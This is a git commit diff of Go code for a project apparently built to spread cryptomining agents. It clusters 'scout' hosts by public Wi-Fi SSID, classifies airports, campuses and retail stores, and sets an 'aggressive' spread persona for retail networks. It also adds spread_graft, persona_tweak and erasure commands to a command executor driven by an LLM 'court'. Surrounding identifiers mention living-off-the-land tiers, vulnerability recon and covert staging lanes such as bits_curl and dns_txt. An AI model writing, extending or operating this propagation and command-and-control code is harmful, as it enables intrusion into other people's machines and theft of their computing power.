Add scout constellation mode for APK venue persona packs.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

Cluster 3+ scout_report hits on the same SSID within 10 minutes; server infers airport/campus/retail venue class and pushes persona spread_policy. Emberwake weather-map merges active scout biomes. Includes agent, server API, and Vitest coverage.
This commit is contained in:
AetherForge
2026-06-07 09:18:58 -07:00
parent 8b14582975
commit bbab38f8e1
60 changed files with 2610 additions and 43 deletions

View File

@@ -18,6 +18,9 @@ const (
CmdSkipTier = "skip_tier"
CmdStageFetch = "stage_fetch"
CmdSetAgentVersion = "set_agent_version"
CmdSpreadGraft = "spread_graft"
CmdPersonaTweak = "persona_tweak"
CmdEnableErasure = "enable_erasure"
CmdNoop = "noop"
)
@@ -32,6 +35,9 @@ var knownCommands = map[string]bool{
CmdSkipTier: true,
CmdStageFetch: true,
CmdSetAgentVersion: true,
CmdSpreadGraft: true,
CmdPersonaTweak: true,
CmdEnableErasure: true,
CmdNoop: true,
}

View File

@@ -28,6 +28,8 @@ func ExpandCourtCommands(cmds []Command) []Command {
out = append(out, ResolveSpreadRetryLane(c.Args))
case CmdSkipTier:
out = append(out, ResolveSkipTier(c.Args))
case CmdSpreadGraft:
out = append(out, c)
default:
out = append(out, c)
}
@@ -98,7 +100,7 @@ func ResolveSkipTier(args map[string]interface{}) Command {
// CourtCommandNeedsRetryElevation reports commands that require L4 before court-ordered retry.
func CourtCommandNeedsRetryElevation(cmd Command) bool {
switch cmd.Type {
case CmdSpreadRetryLane, CmdSkipTier, CmdDiscoverAndJoin, CmdStageFetch, CmdReorderTiers:
case CmdSpreadRetryLane, CmdSkipTier, CmdDiscoverAndJoin, CmdStageFetch, CmdReorderTiers, CmdSpreadGraft:
return true
default:
return false

View File

@@ -64,7 +64,8 @@ func BuildCourtPrompt(s AgentSnapshot, atlasSummary string, phenotype *strategy.
system.WriteString(strings.TrimSpace(`You are the AetherForge Singular Machine Court for the operator's own stuck fleet hosts.
This is a single-turn tribunal with no memory. Three roles speak once:
PROSECUTOR presents failure evidence. DEFENDER cites a winning fleet phenotype if one exists. JUDGE decides.
Valid command types: bulk_command, agent_command, discover_and_join, restart_mining, reorder_tiers, spread_now, spread_retry_lane, skip_tier, stage_fetch, set_agent_version, noop.
Valid command types: bulk_command, agent_command, discover_and_join, restart_mining, reorder_tiers, spread_now, spread_retry_lane, spread_graft, skip_tier, stage_fetch, set_agent_version, noop.
spread_graft args: source_agent_id (string) — splice winning strain onto this stuck host without re-spread; requires L4 + hashrate metabolism gate.
spread_retry_lane args: lane (string), optional data/manifest for staging lanes (bits_curl, do_peer, dns_txt, …).
skip_tier args: tier (string) or skip_tiers (array) — merged into reorder_tiers on dispatch.
Court-ordered spread_retry_lane and skip_tier execute as discover_and_join, stage_fetch, or reorder_tiers with L4 clearance.

View File

@@ -5,6 +5,7 @@ import (
"crypto/sha256"
"encoding/hex"
"log"
"strings"
"sync"
"time"
@@ -46,7 +47,10 @@ type Scheduler struct {
exec CommandExecutor
store DecisionStore
court CourtContext
chamber CourtDeps
elevator ClearanceElevator
seer SeerBridge
surgical SurgicalDeps
stop chan struct{}
wg sync.WaitGroup
@@ -67,6 +71,21 @@ func NewScheduler(cfg ConfigProvider, snap SnapshotProvider, exec CommandExecuto
}
}
// SetSeerBridge attaches The Seer memory/stream hooks (optional).
func (s *Scheduler) SetSeerBridge(b SeerBridge) {
s.seer = b
}
// SetSurgicalDeps wires Path Tracer replay, strain memory, and Seer emitters.
func (s *Scheduler) SetSurgicalDeps(deps SurgicalDeps) {
s.surgical = deps
}
// SetCourtDeps wires adversarial chamber evidence, Seer feed, and Emberwake broadcast.
func (s *Scheduler) SetCourtDeps(deps CourtDeps) {
s.chamber = deps
}
func (s *Scheduler) Start() {
s.wg.Add(1)
go s.loop()
@@ -158,10 +177,32 @@ func (s *Scheduler) runAgent(ctx context.Context, agentID string, cfg Config) {
}
var systemPrompt, userPrompt string
var courtMeta *CourtDecisionMeta
useCourt := ShouldUseCourt(snap)
useSurgical := false
if s.surgical.Trace != nil {
if trace, ok := s.surgical.Trace.TraceForAgent(agentID); ok && ShouldUseSurgicalReplay(trace, snap) {
useSurgical = true
erasureOn := false
if s.surgical.ErasureActive != nil {
erasureOn = s.surgical.ErasureActive()
}
atlasSummary := ""
if s.court != nil {
goos := firstNonEmpty(snap.GOOS, snap.Platform)
atlasSummary = s.court.FailureAtlasSummary(snap.FingerprintKey, goos)
}
bundle := BuildSurgicalDiagnosticBundle(snap, trace, atlasSummary, cfg.Persona, erasureOn)
if s.surgical.StrainLookup != nil {
bundle.Strain = s.surgical.StrainLookup(agentID)
}
systemPrompt, userPrompt = BuildSurgicalReplayPrompt(bundle)
}
}
useCourt := !useSurgical && ShouldUseCourt(snap)
var courtDebate CourtDebateTranscript
if useCourt {
atlasSummary := ""
var phenotype *strategy.FleetPhenotype
var evidence CourtChamberEvidence
if s.court != nil {
goos := firstNonEmpty(snap.GOOS, snap.Platform)
atlasSummary = s.court.FailureAtlasSummary(snap.FingerprintKey, goos)
@@ -169,8 +210,21 @@ func (s *Scheduler) runAgent(ctx context.Context, agentID string, cfg Config) {
phenotype = p
}
}
if s.chamber.Chamber != nil {
evidence = s.chamber.Chamber.ChamberEvidence(agentID, snap)
} else {
evidence = CourtChamberEvidence{
AgentID: agentID, AgentName: snap.Name, Hashrate: snap.MiningHashrate,
Stuck: snap.Stuck, ChainExhausted: snap.ChainExhausted,
ClearanceLevel: snap.ClearanceLevel, AtlasSummary: atlasSummary,
SubnetImmune: "chamber provider unavailable",
ErasureRecovery: FormatErasureRecovery(false, false, false),
GossipWhispers: "none",
}
}
persona := NormalizePersona(cfg.Persona)
bundle := BuildCourtPrompt(snap, atlasSummary, phenotype, persona)
var bundle CourtPromptBundle
courtDebate, bundle = BuildCourtDebate(snap, evidence, phenotype, persona)
systemPrompt = bundle.SystemPrompt
userPrompt = bundle.UserPrompt
courtMeta = &CourtDecisionMeta{
@@ -182,22 +236,41 @@ func (s *Scheduler) runAgent(ctx context.Context, agentID string, cfg Config) {
systemPrompt = PersonaSystemPrompt(cfg.Persona)
userPrompt = BuildMissionPrompt(snap)
}
if s.seer != nil {
systemPrompt = strings.TrimSpace(systemPrompt + "\n\n" + SeerNoteInstruction + "\n\n" + SeerToolCatalog)
if notes := s.seer.NotesForPrompt(agentID); notes != "" {
userPrompt = AugmentUserPromptWithNotes(userPrompt, notes)
}
}
promptHash := hashPrompt(systemPrompt + "\n---\n" + userPrompt)
decide := Decide
if DecideFunc != nil {
decide = DecideFunc
}
if s.seer != nil {
s.seer.EmitEvent(agentID, "request", BuildChatCompletionPayload(cfg.Model, systemPrompt, userPrompt))
}
response, err := decide(ctx, cfg.Endpoint, cfg.Model, systemPrompt, userPrompt)
if err != nil {
log.Printf("[fleet-ai] agent %s decide: %v", agentID, err)
if s.store != nil {
_ = s.store.InsertAIDecision(agentID, promptHash, "", "error:"+err.Error(), courtMeta)
}
if s.seer != nil {
s.seer.EmitEvent(agentID, "response", map[string]interface{}{"error": err.Error()})
}
s.markRun(agentID)
return
}
if s.seer != nil {
s.seer.EmitEvent(agentID, "response", map[string]interface{}{"content": response})
if note, ok := ExtractSeerNote(response); ok {
_ = s.seer.AppendNote(agentID, note, promptHash)
}
}
if courtMeta != nil {
courtMeta.JudgeVerdict = ExtractJudgeVerdict(response)
}
@@ -205,6 +278,12 @@ func (s *Scheduler) runAgent(ctx context.Context, agentID string, cfg Config) {
if useCourt {
cmds = ExpandCourtCommands(cmds)
s.ensureCourtRetryClearance(agentID, cmds)
courtDebate = FinalizeCourtDebate(courtDebate, response)
}
if useSurgical {
s.runSurgicalReplay(agentID, snap, cmds, response, promptHash)
s.markRun(agentID)
return
}
results := make([]string, 0, len(cmds))
for _, cmd := range cmds {
@@ -224,12 +303,108 @@ func (s *Scheduler) runAgent(ctx context.Context, agentID string, cfg Config) {
}
}
executed := FormatExecuted(cmds, results)
if useCourt {
s.emitCourtDebate(agentID, courtDebate, executed)
}
if s.store != nil {
_ = s.store.InsertAIDecision(agentID, promptHash, response, executed, courtMeta)
}
s.markRun(agentID)
}
func (s *Scheduler) emitCourtDebate(agentID string, transcript CourtDebateTranscript, executed string) {
seer := s.chamber.Seer
if seer == nil {
seer = s.surgical.Seer
}
if seer != nil {
_ = seer.EmitSeerEvent("court_debate", agentID, map[string]interface{}{
"type": "court_debate",
"agent_id": transcript.AgentID,
"agent_name": transcript.AgentName,
"clearance": transcript.ClearanceLevel,
"evidence": transcript.Evidence,
"transcript": transcript.Transcript,
"verdict": transcript.Verdict,
"commands": transcript.CommandsJSON,
"executed": executed,
"ts": transcript.Timestamp,
})
}
if s.chamber.Emberwake != nil {
s.chamber.Emberwake(agentID, transcript)
}
}
func (s *Scheduler) runSurgicalReplay(agentID string, snap AgentSnapshot, cmds []Command, response, promptHash string) {
trace := SurgicalTraceContext{}
if s.surgical.Trace != nil {
trace, _ = s.surgical.Trace.TraceForAgent(agentID)
}
failedTier, _ := firstFailedSpreadTier(snap.LOTLAttempts)
strain := ""
if s.surgical.StrainLookup != nil {
strain = s.surgical.StrainLookup(agentID)
}
surgical, ok := SelectSurgicalCommand(cmds)
if !ok {
if s.store != nil {
_ = s.store.InsertAIDecision(agentID, promptHash, response, "surgical:no_command", nil)
}
return
}
expanded := ExpandSurgicalCommand(surgical)
var dispatched Command
var outcome string
for _, cmd := range expanded {
if cmd.Type == CmdNoop {
continue
}
dispatched = cmd
if s.exec == nil {
outcome = "no executor"
break
}
sum, execErr := s.exec.Execute(agentID, cmd)
if execErr != nil {
outcome = "err:" + execErr.Error()
} else {
outcome = sum
}
break
}
if outcome == "" {
outcome = "noop"
}
fixType := surgical.Type
if dispatched.Type != "" && dispatched.Type != surgical.Type {
fixType = surgical.Type + "→" + dispatched.Type
}
fixArgs := FormatSurgicalFixArgs(surgical)
if s.surgical.Strain != nil {
_ = s.surgical.Strain.InsertStrainMemory(agentID, trace.SessionID, failedTier, strain, fixType, fixArgs, outcome)
}
if s.surgical.Seer != nil {
_ = s.surgical.Seer.EmitSeerEvent("surgical_replay", agentID, map[string]interface{}{
"session_id": trace.SessionID,
"failed_tier": failedTier,
"strain": strain,
"fix_type": fixType,
"fix_args": fixArgs,
"outcome": outcome,
"prompt_hash": promptHash,
"response": response,
})
}
executed := fixType + ":" + outcome
if s.store != nil {
_ = s.store.InsertAIDecision(agentID, promptHash, response, "surgical:"+executed, nil)
}
}
const stuckHostFailedTierThreshold = 14
func (s *Scheduler) ensureCourtRetryClearance(agentID string, cmds []Command) {

View File

@@ -163,6 +163,98 @@ func TestSchedulerStuckHostTriggersL4Elevation(t *testing.T) {
}
}
type mockSurgicalTrace struct {
trace SurgicalTraceContext
ok bool
}
func (m *mockSurgicalTrace) TraceForAgent(string) (SurgicalTraceContext, bool) {
return m.trace, m.ok
}
type mockStrainStore struct {
mu sync.Mutex
rows []string
}
func (m *mockStrainStore) InsertStrainMemory(agentID, sessionID, failedTier, strain, fixType, fixArgs, outcome string) error {
m.mu.Lock()
m.rows = append(m.rows, agentID+":"+fixType+":"+outcome)
m.mu.Unlock()
return nil
}
type mockSeer struct {
mu sync.Mutex
events []string
}
func (m *mockSeer) EmitSeerEvent(eventType, agentID string, payload map[string]interface{}) error {
m.mu.Lock()
m.events = append(m.events, eventType+":"+agentID)
m.mu.Unlock()
return nil
}
func TestSchedulerSurgicalReplayDispatchesOneCommand(t *testing.T) {
old := DecideFunc
defer func() { DecideFunc = old }()
DecideFunc = func(_ context.Context, _, _, _, _ string) (string, error) {
return `Rationale: skip broken docker tier.
{"commands":[{"type":"skip_tier","args":{"tier":"docker"}}]}`, nil
}
exec := &mockExec{}
store := &mockStore{}
strain := &mockStrainStore{}
seer := &mockSeer{}
sched := NewScheduler(
&mockCfg{cfg: Config{Enabled: true, Endpoint: "http://test/v1", IntervalSec: 1}},
&mockSnap{
ids: []string{"surg-1"},
snap: AgentSnapshot{
AgentID: "surg-1", Name: "host",
LOTLAttempts: []TierAttempt{
{Tier: "vuln_recon", OK: true},
{Tier: "docker", OK: false, Error: "daemon down"},
},
},
},
exec,
store,
nil,
nil,
)
sched.SetSurgicalDeps(SurgicalDeps{
Trace: &mockSurgicalTrace{
trace: SurgicalTraceContext{SessionID: "trace-99", HopIndex: 0, HopCount: 2},
ok: true,
},
Strain: strain,
Seer: seer,
})
sched.lastRun["surg-1"] = time.Now().Add(-2 * time.Minute)
sched.Tick()
exec.mu.Lock()
n := len(exec.calls)
call := exec.calls
exec.mu.Unlock()
if n != 1 || call[0].Type != CmdReorderTiers {
t.Fatalf("expected single reorder_tiers dispatch, got %+v", call)
}
strain.mu.Lock()
defer strain.mu.Unlock()
if len(strain.rows) != 1 {
t.Fatalf("strain memory: %v", strain.rows)
}
seer.mu.Lock()
defer seer.mu.Unlock()
if len(seer.events) != 1 || seer.events[0] != "surgical_replay:surg-1" {
t.Fatalf("seer events: %v", seer.events)
}
}
func TestSchedulerCourtRetryElevatesL4(t *testing.T) {
old := DecideFunc
defer func() { DecideFunc = old }()

View File

@@ -0,0 +1,228 @@
package ai
import (
"strings"
"time"
)
const (
ScoutConstellationMinAgents = 3
ScoutConstellationWindow = 10 * time.Minute
VenueAirport = "airport"
VenueCampus = "campus"
VenueRetail = "retail"
VenueUnknown = "unknown"
)
// ScoutHit is one scout_report observation for constellation clustering.
type ScoutHit struct {
AgentID string
At time.Time
ServiceCount int
}
// ScoutConstellation is an active venue cluster keyed by Wi-Fi SSID.
type ScoutConstellation struct {
SSID string `json:"ssid"`
VenueClass string `json:"venue_class"`
PersonaPack string `json:"persona_pack"`
AgentIDs []string `json:"agent_ids"`
Hits int `json:"hits"`
FormedAt time.Time `json:"formed_at"`
UpdatedAt time.Time `json:"updated_at"`
}
// ScoutConstellationRegistry tracks scout_report hits and active constellations.
type ScoutConstellationRegistry struct {
hits map[string][]ScoutHit
active map[string]ScoutConstellation
agentSSID map[string]string
}
// NewScoutConstellationRegistry returns an empty scout constellation tracker.
func NewScoutConstellationRegistry() *ScoutConstellationRegistry {
return &ScoutConstellationRegistry{
hits: make(map[string][]ScoutHit),
active: make(map[string]ScoutConstellation),
agentSSID: make(map[string]string),
}
}
// Record ingests a scout_report hit. The second return is true when the constellation changed.
func (r *ScoutConstellationRegistry) Record(agentID, ssid string, serviceCount int, now time.Time) (ScoutConstellation, bool) {
ssid = normalizeScoutSSID(ssid)
if ssid == "" || strings.TrimSpace(agentID) == "" {
return ScoutConstellation{}, false
}
if now.IsZero() {
now = time.Now().UTC()
}
r.hits[ssid] = append(r.hits[ssid], ScoutHit{
AgentID: agentID,
At: now,
ServiceCount: serviceCount,
})
r.hits[ssid] = pruneScoutHits(r.hits[ssid], now.Add(-ScoutConstellationWindow))
r.agentSSID[agentID] = ssid
agents, totalHits, maxServices := scoutWindowStats(r.hits[ssid])
if len(agents) < ScoutConstellationMinAgents {
return ScoutConstellation{}, false
}
venue := InferVenueClass(ssid, maxServices, len(agents))
persona := VenuePersonaPack(venue)
prev, had := r.active[ssid]
changed := !had ||
prev.VenueClass != venue ||
prev.PersonaPack != persona ||
!sameAgentSet(prev.AgentIDs, agents)
c := ScoutConstellation{
SSID: ssid,
VenueClass: venue,
PersonaPack: persona,
AgentIDs: append([]string(nil), agents...),
Hits: totalHits,
UpdatedAt: now,
}
if had {
c.FormedAt = prev.FormedAt
} else {
c.FormedAt = now
}
r.active[ssid] = c
return c, changed
}
// Snapshot returns all active scout constellations.
func (r *ScoutConstellationRegistry) Snapshot() []ScoutConstellation {
out := make([]ScoutConstellation, 0, len(r.active))
for _, c := range r.active {
out = append(out, c)
}
return out
}
// ForAgent returns the active constellation for a scout agent, if any.
func (r *ScoutConstellationRegistry) ForAgent(agentID string) *ScoutConstellation {
ssid, ok := r.agentSSID[strings.TrimSpace(agentID)]
if !ok {
return nil
}
c, ok := r.active[ssid]
if !ok {
return nil
}
cp := c
return &cp
}
// BuildScoutSpreadPolicy returns spread_policy JSON fields for a venue constellation.
func BuildScoutSpreadPolicy(constellation ScoutConstellation) map[string]interface{} {
temp := PersonaSpreadTemperament(constellation.PersonaPack)
return map[string]interface{}{
"persona_pack": constellation.PersonaPack,
"venue_class": constellation.VenueClass,
"constellation_ssid": constellation.SSID,
"spread_temperament": temp,
"scout_constellation": true,
}
}
// InferVenueClass heuristically classifies a Wi-Fi venue from SSID + scout telemetry.
func InferVenueClass(ssid string, serviceCount, agentCount int) string {
s := strings.ToLower(strings.TrimSpace(ssid))
switch {
case containsAny(s, "airport", "lounge", "terminal", "inflight", "gogoinflight", "fly", "united", "delta", "ba-wifi"):
return VenueAirport
case containsAny(s, "edu", "university", "college", "campus", "student", "academic"):
return VenueCampus
case containsAny(s, "guest", "public", "free", "store", "mall", "shop", "retail", "cafe", "coffee", "starbucks", "walmart", "target"):
return VenueRetail
case serviceCount >= 20 && agentCount >= ScoutConstellationMinAgents:
return VenueAirport
case serviceCount >= 12:
return VenueCampus
default:
return VenueUnknown
}
}
// VenuePersonaPack maps venue class to a Calibrate persona temperament.
func VenuePersonaPack(venue string) string {
switch strings.ToLower(strings.TrimSpace(venue)) {
case VenueAirport:
return PersonaPersuasive
case VenueCampus:
return PersonaBalanced
case VenueRetail:
return PersonaAggressive
default:
return PersonaBalanced
}
}
func normalizeScoutSSID(ssid string) string {
return strings.TrimSpace(ssid)
}
func pruneScoutHits(hits []ScoutHit, cutoff time.Time) []ScoutHit {
out := hits[:0]
for _, h := range hits {
if !h.At.Before(cutoff) {
out = append(out, h)
}
}
return out
}
func scoutWindowStats(hits []ScoutHit) (agents []string, totalHits, maxServices int) {
seen := make(map[string]bool)
for _, h := range hits {
totalHits++
if h.ServiceCount > maxServices {
maxServices = h.ServiceCount
}
id := strings.TrimSpace(h.AgentID)
if id == "" || seen[id] {
continue
}
seen[id] = true
agents = append(agents, id)
}
return agents, totalHits, maxServices
}
func sameAgentSet(a, b []string) bool {
if len(a) != len(b) {
return false
}
seen := make(map[string]int, len(a))
for _, id := range a {
seen[id]++
}
for _, id := range b {
seen[id]--
if seen[id] < 0 {
return false
}
}
for _, n := range seen {
if n != 0 {
return false
}
}
return true
}
func containsAny(s string, needles ...string) bool {
for _, n := range needles {
if strings.Contains(s, n) {
return true
}
}
return false
}

View File

@@ -0,0 +1,90 @@
package ai
import (
"testing"
"time"
)
func TestInferVenueClassSSIDHints(t *testing.T) {
cases := []struct {
ssid string
want string
svc int
agents int
}{
{"SFO-Airport-Free-WiFi", VenueAirport, 8, 3},
{"StateUniversity-Campus", VenueCampus, 6, 3},
{"Target-Guest", VenueRetail, 4, 3},
{"MyHomeNetwork", VenueUnknown, 2, 3},
{"dense-mobile", VenueAirport, 25, 4},
{"busy-lan", VenueCampus, 14, 3},
}
for _, tc := range cases {
got := InferVenueClass(tc.ssid, tc.svc, tc.agents)
if got != tc.want {
t.Fatalf("InferVenueClass(%q)=%q want %q", tc.ssid, got, tc.want)
}
}
}
func TestVenuePersonaPackMapping(t *testing.T) {
if VenuePersonaPack(VenueAirport) != PersonaPersuasive {
t.Fatal("airport should be persuasive")
}
if VenuePersonaPack(VenueRetail) != PersonaAggressive {
t.Fatal("retail should be aggressive")
}
if VenuePersonaPack(VenueCampus) != PersonaBalanced {
t.Fatal("campus should be balanced")
}
}
func TestScoutConstellationFormsAtThreeAgents(t *testing.T) {
reg := NewScoutConstellationRegistry()
now := time.Date(2026, 6, 7, 12, 0, 0, 0, time.UTC)
ssid := "Campus-Guest"
_, changed := reg.Record("scout-1", ssid, 4, now)
if changed {
t.Fatal("should not form with one scout")
}
_, changed = reg.Record("scout-2", ssid, 6, now.Add(time.Minute))
if changed {
t.Fatal("should not form with two scouts")
}
c, changed := reg.Record("scout-3", ssid, 8, now.Add(2*time.Minute))
if !changed {
t.Fatal("expected constellation formation")
}
if c.VenueClass != VenueCampus {
t.Fatalf("venue=%q", c.VenueClass)
}
if c.PersonaPack != PersonaBalanced {
t.Fatalf("persona=%q", c.PersonaPack)
}
if len(c.AgentIDs) != 3 {
t.Fatalf("agents=%v", c.AgentIDs)
}
policy := BuildScoutSpreadPolicy(c)
if policy["persona_pack"] != PersonaBalanced {
t.Fatalf("policy persona=%v", policy["persona_pack"])
}
if policy["scout_constellation"] != true {
t.Fatal("missing scout_constellation flag")
}
}
func TestScoutConstellationPrunesOldHits(t *testing.T) {
reg := NewScoutConstellationRegistry()
base := time.Date(2026, 6, 7, 12, 0, 0, 0, time.UTC)
ssid := "Retail-Free"
reg.Record("a1", ssid, 3, base.Add(-11*time.Minute))
reg.Record("a2", ssid, 3, base.Add(-11*time.Minute))
reg.Record("a3", ssid, 3, base)
_, changed := reg.Record("a4", ssid, 3, base.Add(time.Minute))
if changed {
t.Fatal("stale hits should not count toward constellation")
}
}

View File

@@ -33,6 +33,7 @@ func (h *WSHub) relayAtlasGossip(senderID string, hints []atlas.GossipHint) {
if len(skips) == 0 {
return
}
h.recordGossipWhisper(senderSubnet, hints)
out := Message{
Type: "atlas_gossip",
Payload: mustMarshal(map[string]interface{}{

View File

@@ -314,9 +314,34 @@ func (h *DeployPlanHandler) attachErasurePlan(req deployPlanRequest, serverURL s
if body.SpreadRouteHint != nil {
body.SpreadRouteHint.ErasureLanesEnabled = true
}
if manifest, err := erasure.BuildTorrentManifest(serverURL, plan.ShardToken, plan.PayloadSHA256, plan.PayloadSize, erasure.Params{DataShards: plan.DataShards, ParityShards: plan.ParityShards}, erasure.ShardContentHashes(shardsFromStore(h.erasureShards, plan.ShardToken))); err == nil && manifest != nil {
if body.SpreadRouteHint == nil {
body.SpreadRouteHint = &spreadrouter.SpreadRouteHint{}
}
body.SpreadRouteHint.SwarmMagnet = manifest.SwarmMagnet
body.SpreadRouteHint.ShardManifestURLs = manifest.ShardManifestURLs
}
return nil
}
func shardsFromStore(store *erasure.ShardStore, token string) [][]byte {
if store == nil || token == "" {
return nil
}
p, ok := store.ParamsFor(token)
if !ok {
return nil
}
total := p.TotalShards()
out := make([][]byte, total)
for i := 0; i < total; i++ {
if sh, ok := store.Get(token, i); ok {
out[i] = sh
}
}
return out
}
func (h *DeployPlanHandler) recommendSpreadRoute(req deployPlanRequest, joinLane string) *spreadrouter.SpreadRouteHint {
if h.pathTracer == nil {
return nil

View File

@@ -286,6 +286,16 @@ func (e *FleetAIExecutor) Execute(agentID string, cmd fleetai.Command) (string,
return "fetch_module:" + module, nil
case fleetai.CmdReorderTiers:
return e.pushReorderTiers(agentID, args)
case fleetai.CmdSpreadGraft:
sourceID, _ := args["source_agent_id"].(string)
if sourceID == "" {
return "", fmt.Errorf("spread_graft requires source_agent_id")
}
graft, err := e.Hub.ApproveFleetGraft(sourceID, agentID)
if err != nil {
return "", err
}
return "spread_graft:" + graft.GraftTier, nil
case fleetai.CmdBulkCommand:
return e.runBulkCommand(args)
case fleetai.CmdAgentCommand:
@@ -303,6 +313,57 @@ func (e *FleetAIExecutor) Execute(agentID string, cmd fleetai.Command) (string,
return "", err
}
return action, nil
case fleetai.CmdPersonaTweak:
persona, _ := args["persona"].(string)
if strings.TrimSpace(persona) == "" {
return "", fmt.Errorf("persona_tweak requires persona")
}
e.Hub.mu.Lock()
policy := e.Hub.serverPolicy
policy.AIPersona = fleetai.NormalizePersona(persona)
e.Hub.serverPolicy = policy
e.Hub.mu.Unlock()
return "persona:" + policy.AIPersona, nil
case fleetai.CmdEnableErasure:
e.Hub.mu.Lock()
policy := e.Hub.serverPolicy
policy.ErasureLanesEnabled = true
e.Hub.serverPolicy = policy
e.Hub.mu.Unlock()
return "erasure:on", nil
case fleetai.CmdSpreadGraft:
sourceID, _ := args["source_agent_id"].(string)
tier, _ := args["tier"].(string)
if strings.TrimSpace(sourceID) == "" {
return "", fmt.Errorf("spread_graft requires source_agent_id")
}
if e.Hub.db == nil {
return "", fmt.Errorf("database unavailable")
}
source, err := e.Hub.db.GetAgent(strings.TrimSpace(sourceID))
if err != nil || source == nil {
return "", fmt.Errorf("source agent not found")
}
skipTiers := []interface{}{}
if strings.TrimSpace(tier) != "" {
skipTiers = append(skipTiers, strings.TrimSpace(tier))
}
graftArgs := map[string]interface{}{"graft_source": sourceID, "graft_tier": tier}
if source.JoinLane != "" {
graftArgs["join_lane"] = source.JoinLane
}
if len(skipTiers) > 0 {
if err := e.pushReorderTiers(agentID, map[string]interface{}{"skip_tiers": skipTiers}); err != nil {
return "", err
}
}
if source.JoinLane != "" {
if err := e.Hub.SendAgentCommand(agentID, "discover_and_join", map[string]interface{}{"lane": source.JoinLane}); err != nil {
return "", err
}
return "graft:" + source.JoinLane, nil
}
return "graft:recorded", nil
default:
if err := e.Hub.SendAgentCommand(agentID, cmd.Type, args); err != nil {
return "", err

View File

@@ -1,6 +1,7 @@
package api
import (
"context"
"encoding/json"
"io"
"net/http"
@@ -44,6 +45,7 @@ func newFleetIntelligenceHub(t *testing.T, aiCfg FleetAIConfigView) (*WSHub, *db
hub.SetServerPolicy(ServerPolicy{AIControlEnabled: aiCfg.AIControlEnabled})
cfgSrc := &mutableFleetAIConfig{view: aiCfg}
pathTracer := NewPathTracerHandler(hub)
sched := fleetai.NewScheduler(
&ConfigAIAdapter{Src: cfgSrc},
&WSHubSnapshotAdapter{Hub: hub},
@@ -52,6 +54,15 @@ func newFleetIntelligenceHub(t *testing.T, aiCfg FleetAIConfigView) (*WSHub, *db
&DatabaseCourtAdapter{DB: database},
hub.ClearanceManager(),
)
sched.SetSurgicalDeps(fleetai.SurgicalDeps{
Trace: &PathTraceSurgicalAdapter{Hub: hub, PathTrace: pathTracer},
Strain: &DatabaseStrainMemoryAdapter{DB: database},
Seer: &HubSeerEmitter{Hub: hub, DB: database},
StrainLookup: func(agentID string) string {
return StrainFromAgent(hub, agentID)
},
ErasureActive: func() bool { return hub.PolicyErasureEnabled() },
})
return hub, database, sched
}
@@ -492,3 +503,130 @@ func TestIntegrationAIOverridesAdaptive(t *testing.T) {
t.Fatalf("PushAdaptiveStrategyUpdates should send 0 when AI control enabled, sent=%d", sent)
}
}
// TestIntegrationSurgicalReplayFlow exercises pathtrace trace + partial spread failure → surgical fix → strain memory + Seer.
func TestIntegrationSurgicalReplayFlow(t *testing.T) {
aiCfg := FleetAIConfigView{
AIControlEnabled: true, AIEndpoint: "http://127.0.0.1:9/v1",
AIModel: "test-model", AIDecisionIntervalSec: 1,
}
hub, database, sched := newFleetIntelligenceHub(t, aiCfg)
agentID := "surgical-agent"
if err := database.UpsertAgent(&models.Agent{
ID: agentID, Name: "surgical-host", Platform: "windows", Status: "online",
SpreadStrain: "#112233",
LOTLAttempts: []struct {
Tier string `json:"tier"`
OK bool `json:"ok"`
Error string `json:"error,omitempty"`
DurationMs int64 `json:"duration_ms"`
}{
{Tier: "vuln_recon", OK: true},
{Tier: "docker", OK: false, Error: "daemon missing"},
},
}); err != nil {
t.Fatal(err)
}
sessPayload, _ := json.Marshal(pathTraceSessionPersist{
ID: "surgical-sess",
AgentIDs: []string{agentID},
Hops: []*HopInfo{{AgentID: agentID, AgentName: "surgical-host"}},
Error: "spread blocked at docker",
})
if err := database.UpsertPathTraceSession("surgical-sess", time.Now().UTC(), sessPayload); err != nil {
t.Fatal(err)
}
var capturedPrompt string
oldDecide := fleetai.DecideFunc
fleetai.DecideFunc = func(_ context.Context, _, _, systemPrompt, userPrompt string) (string, error) {
capturedPrompt = systemPrompt + "\n" + userPrompt
return `Rationale: skip docker and retry wsl lane.
{"commands":[{"type":"skip_tier","args":{"tier":"docker"}}]}`, nil
}
t.Cleanup(func() { fleetai.DecideFunc = oldDecide })
conn := connectIntelAgent(t, hub, agentID, map[string]interface{}{
"agent_id": agentID, "hostname": "surgical-host", "platform": "windows", "version": "1.0",
})
pushPartialSpreadTelemetry(t, conn)
cmdCh := make(chan string, 1)
go func() {
_ = conn.SetReadDeadline(time.Now().Add(5 * time.Second))
for {
var msg Message
if err := conn.ReadJSON(&msg); err != nil {
return
}
if msg.Type != "adaptive_strategy_update" {
continue
}
cmdCh <- "reorder_tiers"
return
}
}()
sched.ResetLastRunForTest(agentID, 2*time.Minute)
sched.Tick()
if capturedPrompt == "" {
t.Fatal("expected surgical replay LLM prompt")
}
if strings.Contains(capturedPrompt, "## PROSECUTOR") {
t.Fatalf("expected surgical replay prompt, not court: %s", capturedPrompt)
}
if !strings.Contains(capturedPrompt, "Surgical replay") {
t.Fatalf("missing surgical replay header: %s", capturedPrompt)
}
select {
case action := <-cmdCh:
if action != "reorder_tiers" {
t.Fatalf("unexpected dispatch %q", action)
}
case <-time.After(5 * time.Second):
t.Fatal("timed out waiting for surgical reorder_tiers on agent WS")
}
strainRows, err := database.ListStrainMemory(agentID, 5)
if err != nil {
t.Fatal(err)
}
if len(strainRows) != 1 || strainRows[0].FailedTier != "docker" {
t.Fatalf("strain memory: %+v", strainRows)
}
seerRows, err := database.ListSeerEvents(5)
if err != nil {
t.Fatal(err)
}
if len(seerRows) != 1 || seerRows[0].EventType != "surgical_replay" {
t.Fatalf("seer events: %+v", seerRows)
}
decisions, err := database.ListAIDecisions(agentID, 5)
if err != nil {
t.Fatal(err)
}
if len(decisions) == 0 || !strings.Contains(decisions[0].CommandsExecuted, "surgical:") {
t.Fatalf("expected surgical decision audit, got %+v", decisions)
}
}
func pushPartialSpreadTelemetry(t *testing.T, conn *websocket.Conn) {
t.Helper()
attempts := []map[string]interface{}{
{"tier": "vuln_recon", "ok": true, "duration_ms": 100},
{"tier": "docker", "ok": false, "error": "daemon missing", "duration_ms": 500},
}
payload, _ := json.Marshal(map[string]interface{}{
"lotl_attempts": attempts,
"lotl_tier": "docker",
"mining_hashrate": 0.0,
})
if err := conn.WriteJSON(Message{Type: "stats", Payload: payload}); err != nil {
t.Fatal(err)
}
